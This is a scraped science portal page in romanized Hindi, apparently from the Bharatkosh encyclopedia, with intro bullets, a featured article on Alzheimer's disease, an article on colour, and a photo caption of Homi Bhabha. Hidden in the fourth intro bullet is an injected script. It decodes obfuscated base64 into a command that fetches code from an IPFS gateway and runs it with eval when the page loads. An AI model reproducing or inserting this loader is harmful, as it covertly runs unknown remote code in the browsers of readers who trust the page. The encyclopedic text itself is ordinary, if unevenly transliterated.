विज्ञान मुखपृष्ठ

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  • yahaan ham bharat ke vijnan sanbandhi vishayoan ki janakari prapt kar sakate haian. vijnan se ashay aise jnan se hai, jo yatharth ho, jisaka parikshan aur prayog kiya ja sake tatha jisake bare mean bhavishyavani sambhav ho.
  • vijnan aur praudyogiki ke kshetr mean bharat ki prachinakal ki upalabdhiyoan se lekar is shatabdi mean prapt mahan saphalataoan ki ek lanbi aur anoothi paranpara rahi hai.
  • vijnan ke siddhant aur niyam sarvadeshik aur sarvakalik hote haian aur inaka vishad vivechan sambhav hai.
  • bharatakosh par lekhoan ki sankhya pratidin badhati rahati hai jo ap dekh rahe vah "prarambh matr" hi hai...<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  1. REDIRECTsaancha:vishesh2
vishesh alekh

        alzaimar / elzaimar / vismriti rog (bhoolane ka rog) vriddhavastha ka ek asadhy rog mana gaya hai. yah yadadasht ko prabhavit karane vali ek manasik g dab di hai, jise dimeanshiya kaha jata hai. alzaimar isi manasik g dab di ka sabase samany roop hai. san 1906 mean jarman ke d aau. oloe aljimir ne ek mahila ke dimag ke parikshan mean paya ki usamean kuchh gaanthe p d gee haian, jinhean chikitsak ‘plet’ kahate haian. yahi rog us d aau. ke nam par alzaimar rog kahalaya jane laga. alzaimar vyakti ke mastishk ko prabhavit karane vali bimari hoti hai. is bimari se grasit hone ke kee varsh bad isaka lakshan dikhaee deta hai. is bimari ke lakshanoan mean yadadasht ki kami hona, jisamean rogi dhire-dhire sab kuchh bhoolane lag jata hai. yahaan tak ki vah svayan ko bhi bhool jata hai. zyada badh jane par vyakti apani yadadasht poori tarah se ganva deta hai. alzaimar pi dit bujurg chhoti-chhoti batoan ko bhoolane lagate haian. 60 ya 65 varsh par karate karate aksar logoan ko is bimari ka shikar hona p data hai. isake bad har das sal mean alzaimar ke marizoan mean vriddhi hoti jati hai. kam umr ke logoan mean amooman yah nahian hota hai. .... aur padhean

chayanit lekh

right|100px|link=rang

        rang [shuddh: ranh‌g] athava varn ka hamare jivan mean bahut mahattv hai. rang, manavi aankhoan ke varnakram se milane par chhaya sambandhi gatividhiyoan se utpann hote haian. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian. rangoan ki utpatti ka sabase prakritik srot soory ka prakash hai. prizm ki sahayata se dekhane par pata chalata hai ki soory sat rang grahan karata hai jise sookshm roop aangrezi bhasha mean VIBGYOR aur hindi mean baian ja ni h pi na la kaha jata hai. rang hazaroan varshoan se hamare jivan mean apani jagah banae hue haian. jahaan ajakal kritrim rangoan ka upayog joroan par hai vahian praranbh mean log prakritik rangoan ko hi upayog mean late the. ullekhaniy hai ki mohan jod do aur h dappa ki khudaee mean siandhu ghati sabhyata ki jo chizean milian unamean aise bartan aur moortiyaan bhi thian, jin par rangaee ki gee thi. .... aur padhean

kuchh chune hue lekh
vijnan shreni vriksh
chayanit chitr

250px|aaustreliyaee bhautikividh mark olifeant ke sath homi jahaangir bhabha|center


aaustreliyaee bhautikividh mark olifeant ke sath homi jahaangir bhabha (1954)

sanbandhit lekh

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varnamala kramanusar lekh khoj

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